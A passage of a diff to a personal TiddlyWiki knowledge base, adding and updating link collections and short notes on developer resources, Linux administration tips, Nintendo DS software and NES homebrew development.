Java/Android/Flatpak?\n* [[Should images be stored in a git repository?|https://softwareengineering.stackexchange.com/questions/80962/should-images-be-stored-in-a-git-repository]] [or any SCM]\n\n* [[Why would a game developer write their own engine instead of using existing ones?|https://gamedev.stackexchange.com/questions/74388/why-would-a-game-developer-write-their-own-engine-instead-of-using-existing-ones]]\n** \u003C\u003CRedditL r/gamedev/comments/91u7ia/is_it_worth_my_time_in_2018_to_make_a_game_using \"Is it worth my time in 2018 to make a game using only C and SDL?\">>\n* [[How to Mix C and Assembly|https://www.devdungeon.com/content/how-mix-c-and-assembly]]\n\n* [[Compilation and Installation using Autoconf|https://opensource.apple.com/source/X11libs/X11libs-60/mesa/Mesa-7.8.2/docs/autoconf.html]]\n* [[What is the purpose of .PHONY in a Makefile?|https://stackoverflow.com/questions/2145590/what-is-the-purpose-of-phony-in-a-makefile]] --- TLDR: it's to declare \"fake\" targets that must build independently from actual files on disk (that make would otherwise use as targets), it doesn't mean \"sound\" or \"pronunciation\" or otherwise the full list of only allowed build targets, as I initially thought because of associating phony => telephony => ...\n* [[Makefile Tutorial by Example|https://makefiletutorial.com]] --- //Learn Makefiles With the tastiest examples// --- \u003C\u003C[# Git\"https://github.com/theicfire/makefiletutorial\">>\n* \u003C\u003Clinkdescgit \"Modern CMake\" \"https://cliutils.gitlab.io/modern-cmake/\" \"A book about using CMake for your projects\" \"https://gitlab.com/CLIUtils/modern-cmake\">>\n\n* [[Replit: The software creation platform. IDE, AI, and Deployments|https://replit.com/]]\n** [[Repl.it Offline|https://web.archive.org/web/20230330151345/https://offline.repl.it/]] (joke) --- //Repl.it's most requested feature has finally come: an offline, local-first IDE.//\n*** [[We still get mailed code and we still mail back outputs in case you thought we stopped https://offline.repl.it|https://web.archive.org/web/20230129101236/https://twitter.com/amasad/status/1442672024397045761]]\n\n* [[GPL and Linking Exceptions|https://opensource.stackexchange.com/questions/14122/gpl-and-linking-exceptions]]\n** //You can use LGPLv3 with the [[LGPL-3.0-linking-exception|https://spdx.org/licenses/LGPL-3.0-linking-exception.html]]//\n* [[What does \"GPL with classpath exception\" mean in practice?|https://softwareengineering.stackexchange.com/questions/119436/what-does-gpl-with-classpath-exception-mean-in-practice]]\n"}, -{"title":"Development/Resources","created":"20230216222435750","creator":"Octt","modified":"20231217011012123","modifier":"Octt","tags":"Development","text":"* [[Rico's cheatsheets (devhint.io)|https://devhints.io/]] --- //TL;DR for developer documentation - a ridiculous collection of cheatsheets// --- \u003C\u003C[# Git \"https://github.com/rstacruz/cheatsheets\">>\n\n; Learning, Reference\n: [[Baeldung|https://www.baeldung.com/]]\n: [[DigitalOcean Tutorials|https://www.digitalocean.com/community/tutorials]]\n: [[Rollbar Tutorials|https://rollbar.com/blog/category/tutorials/]]\n: [[MDN Web Docs|https://developer.mozilla.org/en-US/]] (Mozilla)\n: [[Programiz|https://www.programiz.com/]]\n: [[Programming Simplified|https://www.programmingsimplified.com/]] --- //C C++ and Java programming tutorials and programs//\n: [[W3Schools|https://www.w3schools.com/]]\n: \u003C\u003Clinkdescgit DevDocs \"https://devdocs.io\" \"API Documentation Browser\" \"https://github.com/freeCodeCamp/devdocs\">>\n: [[DevTut|https://devtut.github.io/]] --- //Tutorials compiled from StackOverflow Documentation// --- \u003C\u003C[# \"Source Git\" \"https://github.com/devtut/generate\">> \u003C\u003C[# \"Deploy Git\" \"https://github.com/devtut/devtut.github.io\">>\n\n; Code search\n: [[grep.app|https://grep.app/]]\n: [[Tabnine|https://www.tabnine.com/code/]]\n\n; Badges\n: \u003C\u003Clinkdescgit \"For the Badge\" \"https://forthebadge.com\" \"We don't develop for the money, power, fame, or codebabes. We do it For the Badge.\" \"https://github.com/BraveUX/for-the-badge\">>\n: \u003C\u003Clinkdescgit Shields.io \"https://shields.io\" \"badges as a service\" \"https://github.com/badges\">>\n"}, +{"title":"Development/Resources","created":"20230216222435750","creator":"Octt","modified":"20240119165525443","modifier":"Octt","tags":"Development","text":"* [[Rico's cheatsheets (devhint.io)|https://devhints.io/]] --- //TL;DR for developer documentation - a ridiculous collection of cheatsheets// --- \u003C\u003C[# Git \"https://github.com/rstacruz/cheatsheets\">>\n\n; Learning, Reference\n: [[Baeldung|https://www.baeldung.com/]]\n: [[DigitalOcean Tutorials|https://www.digitalocean.com/community/tutorials]]\n: [[Rollbar Tutorials|https://rollbar.com/blog/category/tutorials/]]\n: [[MDN Web Docs|https://developer.mozilla.org/en-US/]] (Mozilla)\n: [[Programiz|https://www.programiz.com/]]\n: [[Programming Simplified|https://www.programmingsimplified.com/]] --- //C C++ and Java programming tutorials and programs//\n: [[W3Schools|https://www.w3schools.com/]]\n: [[W3docs|https://www.w3docs.com/]] --- //Tutorials, Quizzes, Certificates, Frameworks, Solutions//\n: \u003C\u003Clinkdescgit DevDocs \"https://devdocs.io\" \"API Documentation Browser\" \"https://github.com/freeCodeCamp/devdocs\">>\n: [[DevTut|https://devtut.github.io/]] --- //Tutorials compiled from StackOverflow Documentation// --- \u003C\u003C[# \"Source Git\" \"https://github.com/devtut/generate\">> \u003C\u003C[# \"Deploy Git\" \"https://github.com/devtut/devtut.github.io\">>\n\n; Code search\n: [[grep.app|https://grep.app/]]\n: [[Tabnine|https://www.tabnine.com/code/]]\n\n; Badges\n: \u003C\u003Clinkdescgit \"For the Badge\" \"https://forthebadge.com\" \"We don't develop for the money, power, fame, or codebabes. We do it For the Badge.\" \"https://github.com/BraveUX/for-the-badge\">>\n: \u003C\u003Clinkdescgit Shields.io \"https://shields.io\" \"badges as a service\" \"https://github.com/badges\">>\n"}, {"title":"DevKitPro","created":"20230130081618018","creator":"Octt","modified":"20230130081716116","modifier":"Octt","tags":"TODO"}, {"title":"Digital Garden","created":"20230217224333827","creator":"Octt","icon":"🍀","modified":"20230228222424404","modifier":"Octt","page-cover":"https://source.unsplash.com/random/?digital-garden","tags":"","text":"I still haven't yet understood what are the exact connotations of this term.\n\n* Defined as something you slowly curate over time with focus on the fact itself and not on the ultimate outcome/result\n* It's definitely the opposite of a blog (no posts strictly related to date, preferably many small ideas, ...)\n* Is a digital garden a [[Wiki]]? A [[Personal Knowledge Base]] with [[Zettelkasten]] method? Static [[Website]] with many \"classic-style\" WIP pages? A personal [[Notebook]] left open to the public to read?\n\n; Explanations, Demos, Discussions\n: \u003C\u003CYoutubeL TDqsr3MNTTc \"What is a Digital Garden? Everything you need to know 🌱\">>\n: \u003Cdiv>\n\n; \u003C\u003CYoutubeL Hn6_4ZzcpiY \"Digital Gardening: Explained\">>\n: //A digital garden is an online space at the intersection of a notebook and a blog, where digital gardeners share seeds of thoughts to be cultivated in public.//\n\u003C/div>\n: \u003C\u003CYoutubeL v8CBE7jPPTk \"🪴 How To Grow Your Own Digital Garden with Maggie Appleton\">>\n\n; Tools - some are under [[Personal Knowledge Base]]\n: [[garden 🌱|https://digital-garden.dev/]] - starter kit for making a more blog-oriented digital garden - \u003C\u003C[ \"[[Git|https://github.com/inadeqtfuturs/garden]]\">>\n\n; Misc\n: [[Digital Gardening Tools and Resources|https://github.com/MaggieAppleton/digital-gardeners]]\n"}, {"title":"Digital signing","created":"20231219000332676","creator":"Octt","modified":"20231219000432315","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe \"Digital signing\">>\n\n* [[Create Your Own Certificate Authority With OpenSSL and NGINX On Ubuntu 20.04|https://www.questioncomputer.com/create-your-own-certificate-authority-with-openssl-and-nginx-on-ubuntu-20-04/]]\n"}, @@ -1248,7 +1249,7 @@ {"title":"Libretro","created":"20230116221513491","creator":"Octt","modified":"20231221233243348","modifier":"Octt","tags":"$:/i18n:en","text":"\u003C\u003C^wikipediaframe Libretro>>\n\n* [[Developing Libretro Cores|https://docs.libretro.com/development/cores/developing-cores/]]\n\n* [[Building RetroArch [GTW]|https://emulation.gametechwiki.com/index.php/Building_RetroArch]]\n\n!! RetroArch\n\n\u003C\u003C^wikipediaframe RetroArch>>\n\n* [[RetroArchLeaks|https://retroarchleaks.wordpress.com/]] --- //Small collection of IRC logs, mostly from #retroarch. Mostly mudslinging and drama.//\n"}, {"title":"LineageOS","created":"20230202230215526","creator":"Octt","modified":"20230206205451676","modifier":"Octt","tags":"Android","text":"\u003C\u003CMediaWiki LineageOS en 2>>\n\n* https://lineageos.org/"}, {"title":"Linux","created":"20230111153758951","creator":"Octt","icon":"🐧","modified":"20231224171918426","modifier":"Octt","page-cover":"https://images.unsplash.com/photo-1549605659-32d82da3a059?ixlib=rb-4.0.3&ixid=M3wxMjA3fDB8MHxwaG90by1wYWdlfHx8fGVufDB8fHx8fA%3D%3D","tags":"$:/i18n:en Unix","text":"\u003C\u003C^wikipediaframe Linux en>>\n\n!! ''Docs''\n\n* [[The Linux Kernel documentation|https://docs.kernel.org/]]\n* [[Embedded Linux Wiki|https://elinux.org/Main_Page]]\n* [[die.net Linux Documentation|https://linux.die.net]]\n\n!!! ''Manpages''\n\n* on [[linux die|https://linux.die.net/man]]\n* or, simplified: [[tldr pages|https://tldr.sh/]] --- \u003C\u003C#[ Git \"https://github.com/tldr-pages\">>\n\n!!! ''Misc''\n\n* LDP (obsolete?)\n** [[The Network Administrators' Guide|https://tldp.org/LDP/nag/]]\n** [[Linux-MIPS for PS1?|https://www.linux-mips.org/wiki/PS1]]\n\n* [[SquashFS|https://tldp.org/HOWTO/SquashFS-HOWTO/whatis.html]], [[DwarFS|https://github.com/mhx/dwarfs]]\n* cannot access fuse mount as root or other users, [[Why does root get Permission denied when accessing FUSE directory?|https://unix.stackexchange.com/questions/17402/why-does-root-get-permission-denied-when-accessing-fuse-directory#17423]] --- To allow access to other users, add `user_allow_other` in `/etc/fuse.conf`, then mount fs with `-o allow_root` (only root) or `-o allow_other` (any user, including root).\n* [[How to extend the life of SD card used as root partition?|https://raspberrypi.stackexchange.com/questions/169/how-can-i-extend-the-life-of-my-sd-card]]\n\n* [[systemd-nspawn|https://wiki.archlinux.org/title/Systemd-nspawn]] --- //chroot on steroids// for systemd hosts and guests.\n** Quick boot a mounted rootfs: `-b -D ${rootfs path}`.\n** Kill booted container from shell: hold Ctrl and quickly press ] for 3 times.\n\n* [[Running a script every time a new kernel is installed|https://unix.stackexchange.com/questions/30320/running-a-script-every-time-a-new-kernel-is-installed]] --- Just place a sh script in `/etc/kernel/postinst.d/` (with the correct filename order).\n\n* [[linuxserver/webtop|https://github.com/linuxserver/docker-webtop]] --- //Ubuntu, Alpine, Arch, and Fedora based Webtop Docker images, Linux in a web browser supporting popular desktop environments//\n** Note: apparently the `/websockify` HTTP endpoint doesn't respect the option for installing the container under an HTTP subpath; in practice this could mean that more than one container at the same time cannot be used behind a reverse proxy without some modification, but instead have to be accessed from their dedicated port directly.\n\n!!! ''Benchmarks''\n\n* [[Paul Raspberry Pi Benchmarks|https://willy-tech.de/raspberry-pi-benchmarks/]]\n\n!!! ''Troubleshooting, practical guides''\n\n* [[Linux Hint|https://linuxhint.com/]]\n* [[Linuxize|https://linuxize.com/]] --- //Linux Tips, Tricks and Tutorials//\n* [[Ubuntu Geek|https://www.ubuntugeek.com/]] --- //Ubuntu Linux Tutorials,Howtos,Tips & News//\n\n* [[How to Zip Files and Directories in Linux|https://linuxize.com/post/how-to-zip-files-and-directories-in-linux/]] --- //the `zip` util and all important options//\n\n* [[Ubuntu 18.04 - pulseaudio Daemon startup failed|https://askubuntu.com/questions/1114659/ubuntu-18-04-pulseaudio-daemon-startup-failed]]\n\n* [[Create a Linux Swap File|https://linuxize.com/post/create-a-linux-swap-file/]]\n* [[How to Increase Swap on Raspberry Pi|https://linuxhint.com/increase-swap-raspberry-pi/]] --- edit the `/etc/dphys-swapfile` file accordingly, then run: `sudo dphys-swapfile {swapoff,setup,swapon}`\n* [[cannot mount /dev/loop1 read-only|https://serverfault.com/questions/839898/cannot-mount-block-device-dev-loop-read-only]] --- Filesystem might have a dirty log, using `-o norecovery` can still mount it readonly.\n\n* [[How to take back control of /etc/resolv.conf on Linux|https://www.ctrl.blog/entry/resolvconf-tutorial.html]] --- //Several DNS-related programs want to automatically manage the DNS name server and resolution configuration file at `/etc/resolv.conf`. In some situations, you may want to manage this file yourself.//\n\n* [[How do I start a process with a nice value of -20 and not give it root privilege?|https://unix.stackexchange.com/questions/72934/how-do-i-start-a-process-with-a-nice-value-of-20-and-not-give-it-root-privilege]] --- quick hack: `sudo nice -n -20 su -c ${cmd} ${user}`\n* [[How to Show FPS Counter in Linux Games|https://linuxhint.com/show_fps_counter_linux_games/]]\n* [[How to Check CPU Temperature on Linux|https://phoenixnap.com/kb/linux-cpu-temp]]\n"}, -{"title":"Linux/Advanced","created":"20231221001035380","creator":"Octt","modified":"20231221164123943","modifier":"Octt","tags":"","text":"* [[What is the smallest possible Linux implementation?|https://unix.stackexchange.com/questions/2692/what-is-the-smallest-possible-linux-implementation/203902#203902]]\n** [[How to create a Linux system that runs a single application?|https://superuser.com/questions/320529/how-to-create-a-linux-system-that-runs-a-single-application]]\n"}, +{"title":"Linux/Advanced","created":"20231221001035380","creator":"Octt","modified":"20240119163846665","modifier":"Octt","tags":"","text":"* [[What is the smallest possible Linux implementation?|https://unix.stackexchange.com/questions/2692/what-is-the-smallest-possible-linux-implementation/203902#203902]]\n** [[How to create a Linux system that runs a single application?|https://superuser.com/questions/320529/how-to-create-a-linux-system-that-runs-a-single-application]]\n\n* [[timb-machine/linux-malware|https://github.com/timb-machine/linux-malware]] --- //Tracking interesting Linux (and UNIX) malware.//\n"}, {"title":"Linux/Distros","created":"20231221001636851","creator":"Octt","modified":"20231222115805983","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe \"Linux distro\">>\n\n* [[tomsrtbt (Tom's floppy which has a root filesystem and is also bootable.)|http://www.toms.net/rb/]] --- //\"The most GNU/Linux on 1 floppy disk.\"//\n\n* [[distro Linux vs generi, trova le differenze|https://octospacc.altervista.org/2023/12/20/690/]]\n\n!! Void\n\n* [[The Void (Linux) distribution|https://voidlinux.org/]] --- \u003C\u003C[# Git\"https://github.com/void-linux\">>\n* [[Services and Daemons - runit|https://docs.voidlinux.org/config/services/index.html]]\n"}, {"title":"Linux/Snippets","created":"20230216221308797","creator":"Octt","modified":"20231223162822644","modifier":"Octt","tags":"","text":"; [[How to mount a local directory without root|https://unix.stackexchange.com/a/602503]]\n: `bindfs --no-allow-other /source/directory /mount/point`\n\n; [[Create a File of a Certain Size in Linux|https://www.baeldung.com/linux/create-file-of-given-size]]\n: `fallocate -l 100M ${File}`\n\n; [[How to cut a file to a given size under Linux?|https://superuser.com/questions/629521/how-to-cut-a-file-to-a-given-size-under-linux]]\n: `truncate --size=1G ${File}`\n\n; Misc\n: [[xdotool list of key codes|https://gitlab.com/cunidev/gestures/-/wikis/xdotool-list-of-key-codes]]\n"}, {"title":"Linux/Userspace","created":"20230608141932117","creator":"Octt","modified":"20231210222142632","modifier":"Octt","tags":"","text":"* [[AppStream (Docs)|https://www.freedesktop.org/software/appstream/docs/]]\n** [[AppStream .Metainfo.xml Creator|https://www.freedesktop.org/software/appstream/metainfocreator/]]\n* [[Open Age Ratings Service (OARS)|https://hughsie.github.io/oars/index.html]]\n\n!!! ''Misc tools''\n\n* [[Flatpak|https://flatpak.org/]] --- //Linux application sandboxing and distribution framework// --- \u003C\u003C[# Git \"https://github.com/flatpak\">> \u003C\u003C[# \"Dev Docs\" \"https://docs.flatpak.org/en/latest/\">>\n** [[Flathub|https://flathub.org/]] --- Official build and distribution service for Flatpak applications --- \u003C\u003C[ \"[[Git|https://github.com/flathub]]\">>\n** \u003C\u003CRedditL r/flatpak/comments/m09ma4/save_flathub_runtime_and_sdk_as_local_flatpak \"Save Flathub runtime and SDK as local Flatpak file bundle\">>\n\n* [[Wine|https://www.winehq.org/]] --- //Compatibility layer for running Windows applications on POSIX-compliant systems//\n** [[WineZGUI|https://github.com/fastrizwaan/WineZGUI]] --- //Wine GUI using Zenity - Play and Share!// --- \u003C\u003C#[ Flatpak \"https://github.com/fastrizwaan/flatpak-wine\">>\n** [[When is a wine-based Linux path used/converted?|https://askubuntu.com/questions/1018400/when-is-a-wine-based-linux-path-used]]\n*** `winepath` allows conversion of paths Unix --> Windows (`-u`), Windows --> Unix (`-w`)\n* [[Boxedwine|https://www.boxedwine.org/]] --- //Multiplatform Linux Emulator that runs WINE// --- \u003C\u003C#[ Git \"https://github.com/danoon2/Boxedwine\">>\n"}, @@ -1303,7 +1304,7 @@ {"title":"Nintendo 64","created":"20230920154441542","creator":"Octt","modified":"20230920154706084","modifier":"Octt","tags":"Nintendo","text":"\u003C\u003C^wikipediaframe \"Nintendo 64\">>\n\n* \u003C\u003Clink+desc+git \"Awesome N64 Development\" \"https://n64.dev\" \"A curated list of Nintendo 64 development resources including toolchains, documentation, emulators, example code, and more!\" \"https://github.com/command-tab/awesome-n64-development\">>\n"}, {"title":"Nintendo DS","created":"20220923110724649","creator":"Octt","modified":"20240107152614906","modifier":"Octt","tags":"Gaming Nintendo NDS Console $:/i18n:en Handheld","text":"''Nintendo DS'' is a family of portable game consoles created by [[Nintendo|Nintendo]], succeding and preceding the GBA and 3DS families respectively.\n\n\u003C\u003Cibox \"https://web.archive.org/web/20220923111238/http://pbs.twimg.com/media/E5An_LGVkAQv9ol?format=jpg&name=large\" \"https://twitter.com/HugeNintendoDS/status/1409670660402466819?cxt=HHwWhsCiueb_k5AnAAAA\">>\n\n\u003C\u003C^wikipediaframe \"Nintendo DS\">>\n\n* [[Naples NDS / NDS Naples|https://gamingshitposting.github.io/naplesnds]] --- //We scugnizzi, and our enjoyment of the Nintendo handheld.// --- \u003C\u003C[# Git\"https://github.com/GamingShitposting/naplesnds\">>\n* \u003C\u003CTwitterLink HugeNintendoDS \"Huge Nintendo DS\">>\n* [[Some NDS ROM File Format Discoveries|https://gbatemp.net/threads/some-nds-rom-file-format-discoveries.624725/]]\n* [[DS Game Card [HwB]|http://www.hardwarebook.info/DS_Game_Card]]\n\n* [[DS-Homebrew|https://ds-homebrew.com/]] (+ wiki) --- \u003C\u003C[# Git\"https://github.com/DS-Homebrew\">>\n** //''[[nds-bootstrap|https://github.com/DS-Homebrew/nds-bootstrap]]'' is an open-source application that allows Nintendo DS/DSi ROMs and homebrew to be natively utilised rather than using an emulator.//\n*** //''[[TWiLight Menu++|https://github.com/DS-Homebrew/TWiLightMenu]]'' is an open-source DSi Menu upgrade/replacement for the Nintendo DSi, the Nintendo 3DS, and Nintendo DS flashcards.//\n\n!!! Emulators\n\n...WIP\n\n* [[DeSmuMe|https://desmume.org/]] --- for some uses, still the most accurate and flexible NDS emulator, with better x86 support (but poor ARM performance) --- \u003C\u003C[# Git\"https://github.com/TASEmulators/desmume\">>\n** https://github.com/44670/desmume-wasm\n* [[NooDS|https://github.com/Hydr8gon/NooDS]] --- //A (hopefully!) speedy DS emulator.//\n\n!!! Tools\n\n* [[dlditool|https://github.com/devkitPro/dstools/tree/master/src/dlditool]] --- //Dynamically Linked Disk Interface patch tool// for NDS homebrew ROMs\n\n!!! Development\n\n* (WIP) [[NDS-Homebrew-Development|https://github.com/jdriselvato/NDS-Homebrew-Development]] --- //research for developing on the Nintendo DS//\n* [[Nitro SDK in a Box|https://gbatemp.net/threads/nitro-sdk-in-a-box.622578/]] --- the idea for a VM setup with all kinds of useful software from official NITRO SDK (download not released, we might want to ask OP in private)\n\n* [[devkitPro/nds-examples|https://github.com/devkitPro/nds-examples]]\n\n!! PictoChat\n\n\u003C\u003C^wikipediaframe PictoChat>>\n\n* \u003C\u003Clinkdescgit Paperchat \"https://paperchat.net/\" \"An online Pictochat spiritual successor - Draw and chat in real time!\" \"https://github.com/lietsaki/paperchat\">>\n* \u003C\u003Clinkdescgit pict.chat \"https://pict.chat/\" \"PictoChat web app with a server written in Java!\" \"https://github.com/ayunami2000/ayunpictojava\">>\n"}, {"title":"Nintendo DS/Software Requiring Only the Bottom Screen","created":"20221018215927772","modified":"20230206111552237","modifier":"Octt","tags":"Nintendo NDS Gaming $:/i18n:en","text":"!! ''Moved''\n\nMoved to https://cryptpad.devol.it/sheet/#/2/sheet/view/kcmKvZ03cftF2U9SMlMk8m4s5XRVIVkb0SZTZIDqvL8/embed/\n\n\u003Cdel>\n\n!!! ''Licensed Games''\n\n* ''Animal Crossing: Wild World'' • Top screen is required to see stars, flying balloons, and Gulliver. It also shows the title screen logo, and the 3D world when a menu is open. All gameplay, dialogues, and menus are on the bottom screen, and the stylus or the buttons can be used interchangeably.\n\n* ''Kirby: Mass Attack'' • Top screen shows title screen logo, some tooltips in game, and stats (level name, points, fruits, Kirbys, medals). Gameplay and menus are on bottom screen, and only controlled with the stylus.\n\n* ''Kirby: Power'' Paintbrush\n\n* [Patch] ''New Super Mario Bros.'' (Macro-Friendly)\n\n* [Partially] ''Nintendogs''\n\n* ''Picross 3D'' • Top screen holds text like menu details and guides (like the tutorials), and puzzle overviews (in the selection menu and while playing), with details and time. The gameplay itself is on the bottom screen, and requires stylus and D-Pad/ABXY. To play without a top screen, it's effectively necessary to learn the unique game mechanics elsewhere (like in video gameplays).\n\n* ''Picross DS'' • Top screen has some text, for menu items details, tutorials and explanations, overwiew of puzzles in the selection menu, and their status (as well as time) while playing them. Gameplay is on the bottom screen, and requires either the D-Pad, A, B buttons, or the stylus (as well as START to access the pause menu).\n\n* ''Pokemon Dash''\n\n* [?] ''Pokemon Link!''\n\n* ''Puyo Puyo!! 20th anniversary'' • Top screen has details for menu entries, some secondary dialogues (the story ones happen on the bottom), points and results, and decorative in-game character animations. Menus can be navigated with either the buttons or the touch screen; gameplay happens on the bottom screen with D-Pad and A/B buttons.\n\n* [?] ''Puzzle League DS''\n\n* ''Tetris DS''\n\n* ''The Legend of Zelda: Phantom Hourglass''\n\n* [?] ''The Legend of Zelda - Spirit Tracks''\n\n* [?] ''Tingle no Balloon Fight DS''\n\n* [?] ''WarioWare: Do It Yourself''\n\n* [?] ''WarioWare: Touched!''\n\n\n!!! ''Licensed Apps''\n\n* ''Nintendo DS Browser'' • Top screen shows software logos, current URL, WiFi signal status, loading animation, count of loaded/total page elements, random and contextual tooltips, and page scrollback buffer. Menu and web navigation happen entirely on the bottom screen, except when Panorama Mode (desktop view) is enabled. Navigation happens primarily with the stylus; buttons are supported only for some operations.\n\n\n!!! ''Homebrew Games''\n\n\n\n\n!!! ''Homebrew Apps''\n\n* ''Colors! DS'' • Top screen shows app logo while in the main menu, buttons legend while drawing, and the current drawing when opening a menu or optionally always. The touch screen is needed to select menu items, draw, and calibrate the digitizer; buttons are needed to operate drawing tools (moving, zooming, color picker, undo).\n\n\u003C/del>"}, -{"title":"Nintendo Entertainment System","created":"20230202104823127","creator":"Octt","modified":"20240119012237016","modifier":"Octt","tags":"Nintendo Gaming $:/i18n:en Console","text":"\u003C\u003C^wikipediaframe \"Nintendo Entertainment System\" en>>\n\n!! ''Resources''\n\n* \u003C\u003CYoutubeL bfJzJOQqsDk \"Pushing The Limits of the NES: Amazing Hacks That Made NES Games Possible [Sharopolis]\">>\n* \u003C\u003CYoutubeL qYDzL5hVzSM \"INSANE HD Texture Packs For 8-Bit NES Games!\">> (thanks to a Mesen feature)\n* [[NES (Famicom) Development Kit Hardware [Retro Reversing]|https://www.retroreversing.com/famicom-nes-development-kit/]]\n\n* (Playlists of) [[Some NES Multicarts Music|https://www.youtube.com/playlist?list=PLP3KtH7oe6jVGoqvVgKldhrYn8q9pxx44]] ; [[NES/Famicom Multicarts Music Remake Video|https://www.youtube.com/playlist?list=PLP3KtH7oe6jUNno7Y2xjeTVIvTy9ig9Hp]]\n\n* [[ArtisaNES|http://0ldsk00l.ca/artisanes/]] --- //Artisanal NES consoles aesthetic mods// (paints)\n\n* [[NesDev.org|https://www.nesdev.org/]] --- //Info, programs, and more//\n* [[Nintendo Entertainment System Documentation|https://www.nesdev.org/NESDoc.pdf]]\n* \u003C\u003ChttpL nes.science>> --- //home to a bunch of random NES stuff// and useful archives\n* [[Nerdy Nights (mirror)|https://nerdy-nights.nes.science/]] --- //tutorial series to help people write games for the NES//\n* \u003C\u003ChttpL nesdoug.com>> --- NES Programming tutorial in C\n** [[GitBook re-adaptation by dag7dev|https://dag7.gitbook.io/nesdoug-nes-guide]] //for a comfy read// --- \u003C\u003C#[ Git\"https://github.com/dag7dev/nesdoug-nes-guide\">>\n* [[everynes/no$nes technical documentation|https://problemkaputt.de/everynes.htm]]\n* [[NES Programming [Wikibooks]|https://en.wikibooks.org/wiki/NES_Programming]] --- an extremely WIP resource on the matter as of 2023/11, but it's worth for it being just a concise list of specs and memory layout\n\n* General [[Useful tools for NES development|https://www.nesdev.org/wiki/Tools]]\n** [[FamiStudio|https://famistudio.org/]] --- //very simple music editor for NES/Famicom targeted at both chiptune artists and NES homebrewers// --- \u003C\u003C[# Git\"https://github.com/BleuBleu/FamiStudio\">>\n** FamiTracker: after official development ceased and website died, see \u003C\u003CRedditL r/famitracker/comments/n97ve9/where_do_i_download_famitracker/ \"Where do I download famitracker?\">>\n*** apparently, current best fork is [[Dn-Famitracker|https://github.com/Dn-Programming-Core-Management/Dn-FamiTracker]]\n** [[nixel|https://alexpate.net/nixel/]] --- web editor for CHRs inside NES ROMs with a good UX\n** [[NEXXT|https://frankengraphics.itch.io/nexxt]] --- //Featureful NES assets studio based off the classic \"NES Screen Tool\". It's the \"famitracker\" of NES graphics.// (sources included)\n\n* [[Retro Puzzle Maker|https://puzzle.nes.science]] --- //new tool meant to help you create new puzzle games you can play on an NES//\n* \u003C\u003Clinkdescgit \"C NES Starter Kit\"\"https://cppchriscpp.github.io/nes-starter-kit/\" \"Simplified starter kit for making NES games using C and graphical tools.\" \"https://github.com/cppchriscpp/nes-starter-kit\">>\n* [[ASM NES Starter Kit|https://github.com/battlelinegames/nes-starter-kit]] --- //starter kit for developing Nintendo Entertainment System games using 6502 Assembly language// with specific useful information\n* [[little-things-nes|https://github.com/pinobatch/little-things-nes]] --- //One-off tech demos and test ROMs for NES//\n\n* [[nessemble|https://github.com/kevinselwyn/nessemble]] --- //6502 assembler/disassembler/simulator targeting the Nintendo Entertainment System// --- \u003C\u003C[# Thread\"https://forums.nesdev.org/viewtopic.php?t=16387\">>\n* [[BZK 6502 Disassembler|https://github.com/cyneprepou4uk/BZK-6502-Disassembler]] --- //Create a disassembly of a NES game// --- \u003C\u003C[# Manual \"https://cyneprepou4uk.github.io/iromhacker/nes/en/bzk6502/1/index.html\">> \u003C\u003C[# Thread \"https://www.romhacking.net/forum/index.php?topic=31875.0\">>\n\n* [[Disassembling NES ROM, What Disassembler to Use?|https://forums.nesdev.org/viewtopic.php?t=14221]]\n* [[NES Games Disassembly|https://github.com/cyneprepou4uk/NES-Games-Disassembly]] --- //Source code of some NES games// --- \u003C\u003C[# Thread \"https://www.romhacking.net/forum/index.php?topic=32220.0\">>\n* [[How to Hack NES Games [JohnRiggs]|https://www.youtube.com/playlist?list=PLsOTz-tlvayLmYmgreE4q1w0E6rN29T4p]]\n* [[$8000 and $C000 on the NES|https://forums.nesdev.org/viewtopic.php?t=5494]] --- mapper 0 maps the PRG ROM to both addresses\n\n* [[Looking For MIDI to NES/NSF Converter|https://forums.nesdev.org/viewtopic.php?t=8007]]\n\n!!! Emulators\n\n* [[FCEUX|https://fceux.com]] --- //The all in one NES/Famicom/Dendy Emulator// --- \u003C\u003C[# \"https://github.com/TASEmulators/fceux\">>\n* [[Nestopia|https://nestopia.sourceforge.net/]]\n** [[Nestopia UE|http://0ldsk00l.ca/nestopia/]] (the successor) --- // Cross-platform Nestopia emulator core with a GUI// --- \u003C\u003C[# Git\"https://github.com/0ldsk00l/nestopia\">>\n* [[NesDs|]]\n"}, +{"title":"Nintendo Entertainment System","created":"20230202104823127","creator":"Octt","modified":"20240119121912787","modifier":"Octt","tags":"Nintendo Gaming $:/i18n:en Console","text":"\u003C\u003C^wikipediaframe \"Nintendo Entertainment System\" en>>\n\n!! ''Resources''\n\n* \u003C\u003CYoutubeL bfJzJOQqsDk \"Pushing The Limits of the NES: Amazing Hacks That Made NES Games Possible [Sharopolis]\">>\n* \u003C\u003CYoutubeL qYDzL5hVzSM \"INSANE HD Texture Packs For 8-Bit NES Games!\">> (thanks to a Mesen feature)\n* [[NES (Famicom) Development Kit Hardware [Retro Reversing]|https://www.retroreversing.com/famicom-nes-development-kit/]]\n\n* (Playlists of) [[Some NES Multicarts Music|https://www.youtube.com/playlist?list=PLP3KtH7oe6jVGoqvVgKldhrYn8q9pxx44]] ; [[NES/Famicom Multicarts Music Remake Video|https://www.youtube.com/playlist?list=PLP3KtH7oe6jUNno7Y2xjeTVIvTy9ig9Hp]]\n* [[Unchained Nostalgia v1.4.0 [2018/11/15] (a NES/Famicom/Dendy demo)|https://veg.by/en/projects/unchained/]] --- //based on the pirate multicart with a romantic storyline and the Unchained Melody in the menu.// --- \u003C\u003C[# Thread\"https://forums.nesdev.org/viewtopic.php?t=10672\">>\n** Original source appeared to be lost to the author forgetting to reupload it after BitBucked fucked up and deleted the hg repo, I was able to find [[some parts on Web Archive|http://web.archive.org/web/20171004041520/https://bitbucket.org/veg/unchained/src]] and copied them: [[https://hlb0.octt.eu.org/Drive/Misc/Unchained%20Nostalgia/Source.7z]] (binary assets are missing but they could be extracted from the compiled ROM, what matters is having the ASM now)\n\n* [[ArtisaNES|http://0ldsk00l.ca/artisanes/]] --- //Artisanal NES consoles aesthetic mods// (paints)\n\n* [[NesDev.org|https://www.nesdev.org/]] --- //Info, programs, and more//\n* [[Nintendo Entertainment System Documentation|https://www.nesdev.org/NESDoc.pdf]]\n* \u003C\u003ChttpL nes.science>> --- //home to a bunch of random NES stuff// and useful archives\n* [[Nerdy Nights (mirror)|https://nerdy-nights.nes.science/]] --- //tutorial series to help people write games for the NES//\n* \u003C\u003ChttpL nesdoug.com>> --- NES Programming 